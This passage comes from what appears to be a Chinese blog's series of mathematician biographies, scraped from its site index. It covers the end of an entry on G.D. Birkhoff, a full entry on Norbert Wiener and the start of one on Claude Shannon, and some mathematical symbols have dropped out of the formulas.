S. Lefschetz 1941-1942 M. Morse 1943-1944 M. Stone 1951-1952 von Neumann 1969-1970 O. Zariski 1983-1984 J. Robinson 1987-1988 G. Mostow 1991-1992 M. Artin 2005-2006 J. Arthur 2015-2016 R.L. Bryant 2025- R. Vakil 也许，像这样深度参与美国数学学会，本身就已经说明 Birkhoff 为推动美国数学的发展付出了不懈努力。事实上，维布伦（Oswald Veblen，1880-1960）甚至把他在这方面的投入称作 “a sort of religious devotion（一种近乎宗教式的奉献）”。 当然，他也明白，推动美国数学的发展，意味着必须与世界其他地方的数学进展保持紧密联系。 MIT 数学家诺伯特・维纳（Norbert Wiener，1894-1964），把 Birkhoff 比喻为 “出现在 Harvard 数学苍穹上的璀璨明星。…… 更独特的是，Birkhoff 的研究全是在美国完成，并未受益于任何国外的训练”。 Wiener 本人在 1913 年从 Harvard 大学得到博士学位，正是 Birkhoff 回到 Harvard 的第二年。 Birkhoff 标志了美国数学成熟期的起点。他直到 1926 年才造访欧洲，当时距他开始在哈佛教书已有 14 年。 他与欧洲数学家的密切往来，使他成为替《International Education Board》撰写欧洲数学现状报告的理想人选。在欧洲数学家中，他最亲近的朋友包括法国的阿达玛（Jacques Salomon Hadamard，1865-1963）、丹麦的内隆德（Niels Erik Nørlund，1885-1981）、意大利的列维 - 奇维塔（Tullio Levi-Civita，1873-1941）和英国的惠特克（Edmund Taylor Whittaker，1873-1956）。 就圣安德鲁斯（St Andrews）地方而言，一个值得一提的细节是：Birkhoff 是 1926 年 St Andrews Colloquium 的主要报告人之一，并于 1927 年当选爱丁堡数学学会荣誉会员。 1938 年 7 月，在爱丁堡数学学会举办的 Gregory 三百周年纪念活动上，他作了四场讲演；同次访问期间，St Andrews 大学授予他荣誉法学博士（LL.D.）。实际上，这只是他所获十三个荣誉学位中的一个。 Birkhoff 获得的其他荣誉还包括：1917 年因论文《限制三体问题》（The restricted problem of three bodies，1915）获威尼斯皇家科学院 Querini-Stampalia 奖；1926 年获美国科学促进会年度奖；1935 年获罗马 Accademia dei Lincei 两年一次的奖项。 他还先后当选为美国国家科学院、美国哲学学会、美国艺术与科学院、巴黎科学院、宗座科学院、巴勒莫数学学会、丹麦皇家科学与文学院、哥廷根科学院、博洛尼亚皇家研究院、爱丁堡数学学会、伦敦数学学会以及秘鲁利马国家科学院的成员。 这种遍及世界的承认，足以说明 Birkhoff 的贡献卓越。 Archibald 把他描述为：“…… 天性极其善于交际；通过多次赴欧旅行以及环绕世界的考察，他与世界各地学者都有广泛接触；他经常参加各类会议和大会，也是颇受欢迎的通俗写作者和演讲者。在近年的行政会议中，他观点的独创性和广度尤为引人注意。” 除了数学成就之外，Birkhoff 还指导了 46 名博士生，迄今为止，出自他门下的数学家已超过 7300 名。他有四名学生日后成为美国数学会的主席：Stone、Joseph Walsh、Charles Morrey 和 Marston Morse。 他的学生又再栽培出许多优秀数学家。例如，Walsh 在取得博士学位后留在 Harvard，带出了 31 名学生，其中包括 Lynn Loomis 和 Joseph Doob。Birkhoff 有三位门生 ——Morse、Hassler Whitney 和 Stone—— 获得国家科学奖章。 贡献一、早期工作Birkhoff 最早的重要工作来自博士论文《某些常微分方程的渐近性质及其在边值问题和展开问题中的应用》（Asymptotic properties of certain ordinary differential equations with applications to boundary value and expansion problems）。这篇论文讨论的是常微分方程解的渐近性质，以及它们在边值问题和展开问题中的应用。 用今天的话说，他关心的是：当自变量趋于某个奇异点或无穷远时，解的行为如何；以及这种渐近信息怎样反过来控制特征值、边值解和展开公式。 Veblen 后来回顾说，他早年的主要训练虽然属于经典分析，但已经明显带有后来 20 世纪分析学那种强调结构与渐近的风格。 二、地图着色1912 年，Birkhoff 发表关于地图着色的论文，引入了后来称为 色多项式（chromatic polynomial）的对象。若 是一个图，记 为用 种颜色对 做合法顶点染色的方案数，那么 实际上是一个关于 的多项式。 他同时证明了若 有 个区域和 条边，则 的首项为 ，并给出了其他所有系数的计算公式。 Birkhoff 最初考虑它，并不是为了建立一门新的组合学分支，而是想借助代数和分析的方法处理四色问题（four color problem）：如果对每个平面图 都能证明 ，那么四色定理就成立了。 后来图论的发展表明，这个多项式逐渐成为代数组合学中的标准对象之一。 四色问题当时并未被他解决，但后来的惠特尼（Hassler Whitney，1907-1989）和图特（William Thomas Tutte，1917-2002）正是在这条线上，把图的染色理论进一步推进成一个更完整的理论。 三、Poincaré 最后几何定理Birkhoff 在 1913 年发表了《Poincaré 几何定理的证明》（Proof of Poincaré's geometric theorem）。这个结果今天通常称为 Poincaré–Birkhoff 定理。 设 是平面中的一个环状区域， 是一个保持面积的环域自同胚；如果 在内边界 上使点 “前进”，而在外边界 上使点 “后退”，那么 至少有两个不动点 。 这个结论起源于受限三体问题中的周期轨道问题。Poincaré 生前只证明了若干特例，Birkhoff 则给出了完整证明。 这个定理说明当一个面积保持系统在边界上施加相反扭转时，周期行为不是偶然出现，而是被几何结构强迫出来。后来大量关于辛映射、Hamiltonian 系统和周期轨道的工作，都把它当作出发点之一。 四、两自由度动力系统1917 年，Birkhoff 发表长文《两自由度的动力系统》（Dynamical systems with two degrees of freedom）。这篇论文后来获得首届 Bôcher Memorial Prize，也通常被看作他成熟期动力系统研究的代表作。它处理了一个系统性的框架：如何对二维截面上的返回映射、轨道结构、不变集以及周期行为进行统一分析。 Birkhoff 在这里把 Poincaré 的想法系统化了：一个具有两自由度的连续动力系统，固定能量后通常落在一个三维能量流形上；选取一张二维横截面 ，就可以研究轨道每次回到 时诱导出的返回映射 。 这样，连续时间的微分方程问题就被转化为离散时间的平面映射问题。也正因为如此，后来许多人把 1910 年代到 1920 年代的 Birkhoff 视为美国动力系统学派的奠基者之一。 与这一方向直接相关的，是后来所谓的 Birkhoff 正规形（Birkhoff normal form）。设 Hamiltonian 函数在原点附近有 其中 是二次主部。Birkhoff 正规形的目标，是通过局部辛变换把高阶项尽量化简，使其与 的关系最简单。若系统已化到 阶正规形，那么对 有 其中 是 Poisson 括号。 这种思想最早虽是以隐含形式出现在 Birkhoff 那里，后来才由 Gustavson、Moser 等人继续发展成更完整的正规形理论。今天在 Hamiltonian 系统、摄动理论和分岔理论中，Birkhoff 正规形仍是基础工具。 五、遍历定理Birkhoff 在 1931 年发表了《遍历定理的证明》（Proof of the ergodic theorem）：设 是 - 有限测度空间 上的保测变换， 。极限 对几乎处处的 都存在；而且 。如果总测度有限，即 ，则 在 上的积分和 在 上的积分相同。 这个定理是遍历理论中最重要的定理之一。它把时间平均和空间平均联系起来。沿着一条轨道长时间观察某个物理量，与在整个状态空间上做积分平均，在适当条件下是相容的。对统计力学来说，这正是 “遍历” 思想的严格版本。 Birkhoff 的定理并没有解决统计力学中的所有困难，但它第一次把相关问题明确地放进了测度论框架，因此后来整个遍历理论几乎都从这里展开。 Wiener 称赞 Birkhoff 的遍历性定理是一项精心力作： “遍历性假设的正确表述及其定理的证明，是美国数学界、乃至全球数学界，近来的最重要成就之一，这两者都是由 Birkhoff 完成的”。 这个卓越的定理可以上溯到麦克斯韦（James Clerk Maxwell，1831-1879）和玻尔兹曼（Ludwig Eduard Boltzmann，1844-1906）试图建构气体动力论的努力。 六、测地线和广义相对论他在研究二维球面上的测地线时，引入了著名的 Birkhoff 曲线缩短过程（curve-shortening process），并据此证明：任意赋予 Riemannian 度量的二维球面上，至少存在一条非平凡的闭测地线。这一结果可以看作是后来极小曲面理论中 “min-max 方法” 的早期原型。 Birkhoff 的基本思想是，将一族闭曲线（通常称为 sweepout）视为一个一维的同伦类，通过逐步 “缩短长度” 的变形过程，使曲线族在保持拓扑类型的同时趋向于能量（或长度）极小的临界点。 由于简单收缩会退化为常值曲线，他引入了一种变分意义下的 min-max 机制：在所有同伦等价的曲线族中，考虑其最大长度的下确界，从而得到一个非平凡的极值，这个极值对应的正是闭测地线。 这一方法不仅解决了 上闭测地线的存在性问题，还揭示了一个深刻的结构：闭测地线可以被理解为能量泛函在某种拓扑约束下的鞍点。 Birkhoff 的思想后来被他的学生莫尔斯（Harold Calvin Marston Morse，1892-1977）发展为 Morse 理论，并在更高维情形中由 Almgren–Pitts 的 min-max 理论加以推广。 Birkhoff 对广义相对论也有重要贡献，他证明了一个（和黑洞有关的）定理：真空的 Einstein 场方程的球对称解（spherically symmetric solution），必然是静态的（static），并由 Schwarzschild 度量（Schwarzschild metric）给出。 七、美学的数学化Birkhoff 在 1933 年《美学度量》（Aesthetic measure）中提出的公式 其中 是审美量， 表示秩序， 表示复杂性。DOAJ 所收录的一篇研究性回顾指出，Birkhoff 在书中把审美量定义为 “order 与 complexity 的比值”，并把这套公式应用到多边形、装饰图样、花瓶、音乐和英语诗歌等对象上。 今天很少有人会把这套理论当作成熟的美学基础，但它确实是后来计算美学（computational aesthetics）的一个早期源头，也很能说明 Birkhoff 的普遍抱负：他一直相信，数学不只是一门专业技术，而是一种可用于更广形式世界的分析语言。"},{"title":"","date":"2026-05-13T05:07:00.000Z","updated":"2026-05-13T05:10:00.000Z","comments":true,"path":"notes/person/17.html","permalink":"https://blog.mhuig.top/notes/person/17","excerpt":"","text":"Wiener Wiener 生平诺伯特・维纳（Norbert Wiener，1894-1964）是一位杰出的美国计算机科学家、数学家和哲学家。Wiener 的家族融合了深厚的东欧与德国背景。 Wiener 的父亲利奥・维纳（Leo Wiener，1862-1939）是对他一生影响最深远的人。Leo Wiener 是立陶宛的犹太人，早年前往华沙的医学院求学。由于对医学不感兴趣，Leo Wiener 转赴柏林的理工学院学习工程学。 毕业后，Leo Wiener 前往美国，做过农场和工厂工人，后来前往 Missouri 州 Kansas 城。凭借卓越的语言天赋（据说能说三十种语言），他成为 Kansas 大学的日耳曼语和罗曼语系讲师，并最终晋升为现代语言学教授。 在那里，Leo 与伯莎・卡恩（Bertha Kahn）结为连理。1894 年 11 月 26 日，Norbert Wiener 出生于 Missouri 州的 Columbia，是他们的第一个孩子。不久后，全家搬往 Boston。 为养家，Leo Wiener 兼任了多份教职，最终在 Harvard 大学获得斯拉夫语教职并晋升为教授。Wiener 有两个妹妹。Wiener 从小在充满学术氛围的家庭中长大，能够在父亲包罗万象的书房中自由漫游和阅读。10 岁时，他写下了《无知论》（The theory of Ignorance），反驳了 “人类知识没有限度” 的傲慢假设，指出所有知识 “都基于一种近似（approximation）”，不可能有绝对的确定性。 然而，他的正规学校教育并不顺利。7 岁时，父母将他送入 Peabody School。尽管年龄很小，但 Wiener 一入学就读三年级，并很快升入四年级，而他对此并无任何不适应。尽管 Wiener 的阅读和理解力远超同龄人，但他的算术运算能力却十分薄弱。 父亲 Leo Wiener 敏锐地发现，机械枯燥的算数练习让儿子感到厌烦，于是决定让他退学，亲自在家教授他代数，以提供更大的挑战并激发他的想象力。 后来，因 Wiener 视力不佳且身体协调性差，医生建议他停止阅读六个月以保护眼睛。 在这期间，父亲通过口授教他进行数学心算。这种独特的训练不仅保护了他的视力，还为他培养了终生受用的卓越心智推演能力。 1903 年秋天（9 岁），他进入 Ayer High School 读高三（同学大他七岁），并于 1906 年（11 岁）顺利毕业。 1906 年 10 月 7 日，世界首次知道了 Wiener 的名字。当时他的照片出现在《纽约世界报》的头版，标题是《全世界最杰出的男孩》（The most remarkable boy in the world）。 11 岁时，Wiener 进入塔夫特学院（Tufts College，即如今的 Tufts 大学）。在那里，他学习了希腊语和德语、物理学和数学，以及生物学。 他自己回忆说：“尽管对生物学很感兴趣，但我毕业时拿到的是数学学士学位。在大学的每一年中，我都学习数学…… 我发现微积分和微分方程很简单，过去我常和父亲探讨大学数学的内容。” 1909 年（14 岁），Wiener 获得数学学士学位。 之后他进入 Harvard 大学攻读动物学研究生，这遭到了父亲 Leo 的反对，但是，动物学强调实验室工作，而 Wiener 的眼疾使他难以做实验，动物学对他而言有些吃力。 不久，Wiener 决定听从父亲的建议改修哲学。和以往一样，这还是他父亲做出的决定 —— 他父亲认为 Wiener 在 Tufts 读本科时的哲学成绩暗示了他应该成为一名哲学家。 Wiener 获得了 Cornell 大学哲学院的奖学金，并于 1910 年转到 Cornell 学习哲学。 但是在 1911 年，他回到 Harvard 攻读数学与哲学，深受亨廷顿（Edward Vermilye Huntington，1874-1952）的数理哲学启发。 1913 年，18 岁的 Wiener 在施密特（Karl Schmidt）的指导下获得了 Harvard 大学博士学位。 他的博士论文探讨了数理逻辑，比较了施罗德（Friedrich Wilhelm Karl Ernst Schröder，1841-1902）与怀特海（Alfred North Whitehead，1861-1947）和罗素（Bertrand Arthur William Russell，1872-1970）的工作。 1914 年，这篇论文的结果被写入论文《A simplification in the logic of relations》，并发表在《剑桥哲学学会会刊》上。 1914 年，Wiener（19 岁）远赴欧洲游学并进行博士后研究，希望能够最终拿到美国知名大学的终身教职职位。 在 Cambridge 大学，他师从 Bertrand Russell。Russell 对 Wiener 的印象似乎是相互的： Wiener: Russell 的态度似乎是冷漠掺杂着轻蔑，我觉得自己应该满足于在课堂上看到的他。 Russell: 在阅读 Wiener 的博士论文后，他给出了这样的评价 “这是一份不错的技术研究”。 他在 Cambridge 还旁听了哈代（Godfrey Harold Hardy，1877-1947）的课程。当时的 Wiener 认为 Hardy 对自己的影响最大：Hardy 的课程及其严谨性启发了我。在我学习数学课程的那么多年里，我从未见过像 Hardy 这样思维清晰、兴趣盎然、智力超群的人。如果让我选一个人作为数理思维的导师，我一定会选 Hardy。 Hardy 引导 Wiener 学习了 Lebesgue 积分。 在 Göttingen 大学，他跟随希尔伯特（David Hilbert，1862-1943）学习微分方程，参加了兰道（Edmund Georg Hermann Landau，1877-1938）的群论课程，并听了胡塞尔（Edmund Gustav Albrecht Husserl，1859-1938）的现象学研讨班。在 Göttingen 他领悟到： “数学不仅是一门在书房里研究的学问，更是一门需要讨论和与之共存的生活方式。” 一战爆发前夕他返回美国，并在 New York 做短暂停留，当时他在 Columbia 大学跟随哲学家杜威（John Dewey，1859-1952）继续研究哲学。之后，他在 Harvard 讲授过哲学，在通用电气（General Electric）当过工程师，也做过撰稿人和记者。 尽管 Wiener 后来成为坚定的和平主义者，但一战期间他极度渴望参军。但因视力差被拒收。1918 年夏天，应维布伦（Oswald Veblen，1880-1960）的邀请，他前往 Maryland 州的阿伯丁试验场（Aberdeen Proving Ground）从事弹道学（ballistics）研究，这重新唤醒了他对数学的兴趣。 战后，各种原因的驱使下，Wiener 未能获得 Harvard 的终身职位。 在被澳大利亚 Melbourne 大学拒绝后，经奥斯古德（William Fogg Osgood，1864-1943）举荐，MIT 聘请他担任数学讲师。此后他一生都在 MIT 任教，成为该校传奇的人物。 1926 年，他与玛格丽特（Margaret Engemann）结婚（育有两女）。整个 20、30 年代，他频繁往返欧洲，结识莱维（Paul Lévy，1886-1971）、玻恩（Max Born，1882-1970）、布拉施克（Wilhelm Blaschke，1885-1962）、阿廷（Emil Artin，1898-1962）和哥德尔（Kurt Gödel，1906-1978）等顶尖学者。 Wiener 与在 Göttingen 访学的冯・诺伊曼（John von Neumann，1903-1957）和奥本海默（Julius Robert Oppenheimer，1904-1967）相遇，并与 von Neumann 建立了私人联系。 1925 年夏，Wiener 向 Göttingen 大学的在职和访学数学家介绍其工作，后在家书中写道：“Hilbert 认为他的工作非常优美”。在快离开这里时，Göttingen 大学数学系主任库朗（Richard Courant，1888-1972）告诉 Wiener，如果下一年他返回 Göttingen，他将得到客座教授的职位。 1935 年，Wiener 应邀到清华大学进行为期一学年的访问讲学。Wiener 到清华后，系统讲授了 Fourier 级数和 Fourier 积分的理论。除此外，还作了一些其他专题讲座。 在清华期间，Wiener 展现了科学伯乐的眼光，他非常赏识当时还只是年轻助理的青年学者华罗庚。Wiener 亲自写信，向自己曾在 Cambridge 大学游学时的导师 Hardy 极力推荐华罗庚。正是得益于这封关键推荐信，促成了华罗庚于 1936 年远赴 Cambridge 大学跟随 Hardy 深造。 1941 年，Wiener 加入国防研究委员会致力于高射炮自动瞄准系统的研发。这一需要将机器与人类操作员结合起来的研究，促使他与罗森布鲁斯（Arturo Rosenblueth Stearns，1900-1970）和助手比格洛（Julian Himely Bigelow，1913-2003）在 1943 年发表了经典文章《行为、目的与目的论》（Behavior, Purpose and Teleology）。 在 1948 年，Wiener 出版巨著《控制论：或动物与机器中的控制与通信》（Cybernetics: Or Control and Communication in the Animal and the Machine）。 Wiener 在自传《我是一个数学家》（I am a Mathematician）中称：“他宁愿选择在清华大学任访问教授的 1935 年作为创立控制论的起点”。 作为一名学者，Wiener 拥有极具个性的特质。荷兰数学家弗赖登塔尔（Hans Freudenthal，1905-1990）曾这样描述他：“在外表和举止上，Norbert Wiener 是一个巴洛克式的人物，身材矮胖、高度近视，极端地结合了诸多特质。他的谈吐奇特地混合着浮夸与随性。他不是个好的倾听者。他的自我夸耀带有游戏色彩，令人信服且从不惹人反感。他会说多种语言，但无论哪种都很难让人听懂。他还是一个出了名的糟糕讲演者。” 统计学家肯德尔（David George Kendall，1918-2007）也回忆道：“作为一个人，Wiener 极具启发性…… 他可能会在讲座上打呼噜，醒来后却在讨论环节提出令人尴尬的刁钻问题；私下里，他也可能对同席晚宴的显要人物就其毫不了解的领域提出建议。但我更喜欢回忆曾经深夜在 Oxford 大学的 Magdalen College 看到的场景：Wiener 被一群听得入了迷的本科生围在中间，滔滔不绝地讲着。” 1964 年 3 月 18 日，Wiener 在瑞典斯德哥尔摩（Stockholm）因心脏病发作逝世，享年 69 岁。 作为跨学科的导师，Wiener 培养了诸如 Bose 音响创始人博斯（Amar Gopal Bose，1929-2013）、莱文森（Norman Levinson，1912-1975）等一大批杰出博士生。 此外，Wiener 的学术思想还深深影响了克劳德・埃尔伍德・香农（Claude Elwood Shannon，1916-2001）。在 Shannon 1948 年宣告信息论诞生的著作《通信的数学理论》（A mathematical theory of communication）的第三部分（Part III）的开头，Shannon 极其谦逊地写下了对 Wiener 的致敬：“通信理论在很大程度上受惠于 Wiener 的基础哲学与理论（Communication theory is heavily indebted to Wiener for much of its basic philosophy and theory.）。” Shannon 在文中明确指出，是 Wiener 在二战期间的国防机密报告中，首次将通信理论明确表述为一个统计学问题，这直接启发了他的信息论。 他一生获誉无数，1963 年获颁美国国家科学奖章；其探讨控制论与宗教边界的著作《God & Golem, Inc.》在 1965 年被追授美国国家图书奖。 为纪念他，应用数学界在 1967 年设立了 “Norbert Wiener 应用数学奖”（Peter Lax 在 1975 年获得过）；月球背面的 “Wiener 环形山（Crater Wiener）” 以及 Maryland 大学的调和分析及应用中心（Norbert Wiener Center for Harmonic Analysis and Applications）均以他命名。 贡献一、数理逻辑与集合论（Mathematical logic and set theory）在 1913 年的博士论文中，Wiener 首次公开提出可以用初等集合论来定义有序对（ordered pairs） 。这意味着关系理论不再需要独立于集合论的公理。 1921 年，波兰数学家库拉托夫斯基（Kazimierz Kuratowski，1896-1980）将其定义简化为： 该定义被全球数学界沿用至今。 二、概率论与布朗运动（Probability theory and Brownian motion）从 1921 年起，Wiener 将原本属于物理概念的 Brownian 运动（Brownian motion）进行了严密的数学化。他在一维连续路径组成的空间中引入了一种测度 ——Wiener 测度（Wiener measure），首次自然地将概率概念引入连续函数空间，并证明了 Brownian 运动路径的不可微性。 一维 Brownian 运动也因此被命名为 Wiener 过程（Wiener process），它是最具代表性的 Lévy 过程（Lévy process，一类具有右连续左极限 càdlàg 特性的独立增量随机过程）之一。 在此基础上，衍生出了描述流体粒子速度随机波动的 Wiener 方程（Wiener equation），以及概率拓扑中代表 Brownian 运动轨迹管状邻域的 Wiener 香肠（Wiener sausage）。 三、分析学与抽象空间（Analysis and abstract spaces）在空间理论上，Wiener 与巴拿赫（Stefan Banach，1892-1945）几乎在同一时期独立发现了 Banach 空间（Banach space）的概念；他构建的经典 Wiener 空间后来被推演为抽象 Wiener 空间（Abstract Wiener space）。 此外，在 1923 年至 1925 年间，Wiener 对偏微分方程中的 Dirichlet 问题（Dirichlet’s problem）进行了深入探讨。他提出了判断边界点是否满足特定连续性条件的 Wiener 准则（Wiener criterion），并定义了广义的容度（capacity）。这些理论成果极大地拓展了经典的位势论（potential theory）。 为了解答工程中复杂的信号处理问题，Wiener 试图将随机过程的研究推广到更一般的形式。这促使他在 1930 年左右系统地发展了广义调和分析（generalized harmonic analysis）。在研究过程中，他利用 Fourier 变换的工具，深入探讨了 Tauberian 定理（Tauberian theorem）—— 这是一类研究无穷级数或积分收敛条件的定理。 1932 年，他证明了许多复杂的收敛问题可以被纳入一个更本质的调和分析框架中。凭借这篇发表在《Annals of Mathematics》上的经典论文《Tauberian 定理》（Tauberian Theorems），他在 1933 年荣获了美国数学会的 Bôcher 奖。 此外，他与佩利（Raymond Edward Alan Christopher Paley，1907-1933）合作证明的 Paley-Wiener 定理深刻揭示了复平面上整函数（entire functions）的增长性与其 Fourier 变换的支集之间的内在联系。 他证明的 Wiener - Khinchin 定理则指出，宽平稳随机过程的功率谱密度是其自相关函数的 Fourier 变换（The power spectral density of a wide-sense stationary (WSS) random process is the Fourier transform of its autocorrelation function）。 四、信号处理与 Wiener 滤波器（Signal processing and Wiener filter）第二次世界大战期间，Wiener 参与了防空火炮控制系统的研发。由于敌机的飞行轨迹带有不可预知的随机性，且雷达接收到的信号夹杂着环境噪声（noise），系统必须基于不完整的含噪数据来预测飞机未来的位置。 基于对时间序列的统计分析，Wiener 开发出了一种数学滤波器（filter）。该模型能够从含有随机干扰的观测数据中提取出最优的真实信号估计，使得提取结果与真实信号之间的均方误差（mean square error）最小化。 这一技术被称为 Wiener 滤波器（Wiener filter），它成为了现代通信理论（communication theory）和数字信号处理的基础工具。 五、创立控制论与非线性控制理论（Cybernetics and nonlinear control）1948 年，他出版名著《控制论：或动物与机器中的控制与通信》（Cybernetics: or, control and communication in the animal and the machine），正式创立了控制论（cybernetics，该词由他本人创造）。在这门新学科中，他探讨了输入（input）、输出（output）、信息（information）、预测（prediction）和稳态（homeostasis）等概念。 他指出，无论是自动寻的导弹还是维持机体平衡的生物体，其核心都在于通过环境的反馈来纠正自身的行为。这一理论打破了生命体与机器的绝对界限，直接启发了后来的自动化控制和早期人工智能的研究。 他留下了那句改变现代科学世界观的名言：“信息就是信息，不是物质，也不是能量。（Information is information, not matter or energy）” 在非线性控制领域，Wiener 晚年还深入研究了多项式混沌（polynomial chaos），并将 Hermite-Laguerre 展开（Hermite-Laguerre expansion）成功应用于非线性控制理论中的系统辨识（system identification）与控制。"},{"title":"","date":"2026-05-13T06:07:00.000Z","updated":"2026-05-13T06:10:00.000Z","comments":true,"path":"notes/person/18.html","permalink":"https://blog.mhuig.top/notes/person/18","excerpt":"","text":"Shannon Shannon 生平克劳德・埃尔伍德・香农（Claude Elwood Shannon, 1916-2001）被誉为 “信息论之父”，是当今信息时代的奠基人之一。 1916 年 4 月 30 日，Shannon 出生于美国 Michigan 州的佩托斯基（Petoskey），是爱迪生（Thomas Alva Edison, 1847-1931）的远亲。他的母亲是一名语言教师以及高中的校长，他的父亲则是一名商人以及遗嘱检验法官。 年轻的 Shannon 在公立学校系统接受教育，并于 16 岁那年高中毕业。在他的童年时期，他度过了一段正常而快乐的时光，尽管当时几乎没有迹象表明他日后会展现出惊世骇俗的天才。 与他后来的生活状态相似，年幼的 Shannon 并不十分外向，但当别人主动接近他时，他总是表现得非常友好。他从小就对各种机械和电子设备表现出浓厚的兴趣，并且总是对各种设备是如何运作的充满极大的好奇心。 高中毕业后，Shannon 进入 Michigan 大学深造。1936 年，他在 Michigan 大学同时获得了电气工程和数学两个学士学位。他对这两个领域的双重兴趣贯穿了他的整个职业生涯，并成为他日后取得诸多交叉学科突破的关键。 在本科期间，Shannon 接触到了 Boolean 代数（Boolean algebra）这一数学对象，并对其产生了兴趣，为日后的研究埋下伏笔。 在大学毕业并思考下一步该做什么时，Shannon 在一个公告栏上看到了一则招聘启事，招募人员来操作布什（Vannevar Bush, 1890-1974）在 MIT 发明的微分分析仪（differential analyzer，一种早期的模拟计算机）。 Shannon 申请了这份工作，并成功被录取为 MIT 电气工程系的物理研究助理和研究生。 来到 MIT 后，Shannon 被控制微分分析仪的复杂开关电路（switching circuit）深深吸引，他开始探索使用 Boolean 代数来理解这些开关电路的可能途径。 当时他已经注意到电话交换电路与 Boolean 代数之间的类似性，即把 Boolean 代数的 “真” 与 “假” 和电路系统的 “开” 与 “关” 对应起来，并用 1 和 0 表示。 入学一年后，Shannon 于 1937 年的夏天前往 Bell 电话实验室实习。 同年秋天回到 MIT 后，Shannon 开始完善他关于如何使用 Boolean 代数来进行继电器（relay）电路的分析和综合设计的想法。 这项工作成为了他在 MIT 的硕士毕业论文以及他发表的第一篇学术论文：《继电器与开关电路的符号分析》（A Symbolic analysis of relay and switching circuits）。 该论文至今被广泛认为是开关电路领域的奠基之作，也是有史以来最重要的一篇硕士论文之一。 Harvard 大学的加德纳（Howard Gardner, 1943-）教授说，“这可能是本世纪（二十世纪）最重要、最著名的一篇硕士论文。” Shannon 的这篇硕士论文获得了 1939 年的 Alfred Noble 奖 —— 这是由美国土木工程师学会为了纪念前主席诺贝尔（Alfred Noble, 1844-1914）而在 1929 年设立的。 在 Bush 的建议下，Shannon 开始在遗传学领域寻找他的博士研究课题。他将专业从电气工程转向了数学，并致力于为遗传学建立一个数学基础。 1940 年，他在希区柯克（Frank Lauren Hitchcock, 1875-1957）的指导下完成博士学位论文《理论遗传学的代数学》（An algebra for theoretical genetics）。在进行博士研究的同时，他也开始对通信的根本问题产生兴趣并继续在开关理论方面开展工作。 1940 年，毕业后的 Shannon 到 IAS 工作了一年，并开始认真致力于发展他那初具雏形的通信数学理论。 到了 1941 年的夏天，Shannon 回到了 Bell 实验室。受第二次世界大战影响，Shannon 的工作包括了协助开发防空火控系统、防空指挥仪以及保密系统。 同一时期，Shannon 开始涉及密码学。Shannon 敏锐地意识到，密码学中的根本问题与他正在发展的通信理论中的思想有着极其密切的联系。 在 Bell 实验室，Shannon 遇到了担任数值分析员的贝蒂（Betty）。两人于 1949 年结婚。 1943 年，英国数学家图灵（Alan Mathison Turing, 1912-1954）被派到华盛顿和美国海军交流破译德国的北大西洋潜艇舰队密码的成果，并在 Bell 实验室待了一段时间。Turing 向 Shannon 介绍了现在被称为 “通用 Turing 机” 的概念。Shannon 对此很感兴趣，因为 Turing 机的概念和 Shannon 自己的很多想法相吻合。 1945 年，Shannon 将他的密码学研究成果撰写成了机密论文《密码学的数学理论》（A mathematical theory of cryptography）；这篇论文直到 1949 年才解密并在公开文献中以《保密系统的通信理论》（Communication theory of secrecy systems）为题发表。 这篇论文为保密系统奠定了坚实的数学基础，并对现代密码学产生了巨大影响。 1948 年，经过长达八年断断续续地思考，Shannon 在《Bell 系统技术期刊》（Bell System Technical Journal）上发表了《通信的数学理论》（A mathematical theory of communication）。 在这一篇论文中，Shannon 提出熵（entropy）的概念，给出了可量化的信息的定义，推导出一系列定理。这篇论文奠定了信息论的基础，提出了一个通信系统的线性示意图模型，在当时的科技界引起了巨大的轰动。 Shannon 借用了一个极具启发性的术语 “信息（information）” 来描述被通信的事物。更重要的是，他成功地对信源和信道的 “信息” 进行了精确的量化。 这种关于信息的新概念导致了我们今天习以为常的通过发送 1 和 0 组成的信号流来传输图像、文字、声音等的想法的产生，彻底改变了人们对电信系统的理解方式和设计范式。 1949 年，Shannon 发表了《编程实现计算机下棋》（Programming a computer for playing chess），这是人工智能的一个先驱工作。 1950 年，Shannon 发明了会自我学习走迷宫的机械老鼠 “Theseus”，成为第一台人工智能装置的雏形。 1951 年，他发表了论文《一个走迷宫机器的介绍》（Presentation of a maze solving machine），这是一篇机器学习的先驱著作。 1953 年，他曾设计了 “心灵阅读（Mind Reading）” 机，可通过观察、记忆和分析对方过去所做选择的样本，试图猜测对方下一次可能选择。 Shannon 一直留在 Bell 实验室的数学研究小组工作直到 1956 年。随后，Shannon 在 MIT 做了一年的访问学者，并于 1958 年正式接受 MIT 的永久任命成为 Donner 科学教授，同时在电气工程系和数学系任职。 Shannon 在 MIT 一直工作到 1978 年。进入八十年代，Shannon 被确诊患有阿尔茨海默症（Alzheimer's disease）。他在一家私立医院度过了生命的最后几年，于 2001 年 2 月 24 日与世长辞。 除了学术研究，Shannon 爱好杂耍、骑独轮脚踏车和下棋。 Shannon 因其杰出贡献荣获诸多荣誉，其中包括 1939 年美国工程师协会颁的 Alfred Noble Prize（与 Nobel Prize 无关，由美国土木工程师学会设立）、1966 年美国国家科学奖章、1985 年音频工程协会金奖以及 1985 年京都奖。 2000 年，他被 Guglielmo Marconi 国际奖学金基金会授予 Marconi 终身成就奖，这是该基金会首次颁发此项殊荣。Shannon 被授予包括 Princeton 大学、Oxford 大学等多所大学的荣誉博士学位。 Shannon 还是包括美国国家科学院在内多个科学院、学会的成员、院士。 为了纪念 Shannon 对信息论的奠基性贡献，IEEE 信息理论协会设立了以 Shannon 命名的 Claude Elwood Shannon 奖用以表彰信息论领域里持久且深远的贡献，是通信理论领域最高奖，被誉为 “信息科学诺贝尔奖”。 1973 年的首届 Claude Elwood Shannon 奖被授予 Shannon 本人。 贡献一、Boolean 代数与开关电路在二十世纪三十年代，电话交换机和早期的模拟计算机正变得越来越复杂，工程师们在设计继电器电路时主要依靠经验、直觉和繁杂的试错。Shannon 意识到，这些复杂的继电器和开关系统在本质上是一种逻辑载体。在他 1938 年发表的论文《继电器与开关电路的符号分析》（A symbolic analysis of relay and switching circuits）中，Shannon 创造性地将 Boolean 代数引入了电路设计中。 在文中，Shannon 详细论述了如何利用 Boolean 代数的加法、乘法和否定运算来描述并简化复杂的电路连接。通过这种方法，工程师不再需要面对一团乱麻的物理连线图，而是可以将其转化为简洁的数学方程进行化简，然后再根据化简后的结果重新构建最高效的物理结构。 Shannon 还展示了电路如何执行基本的算术运算。这一突破直接定义现代数字计算机的运行准则，将电路设计转变为一门严谨的科学，为随后数字时代的开启奠定首块基石。 二、创立信息论框架1948 年，Shannon 在《Bell 系统技术杂志》（Bell System Technical 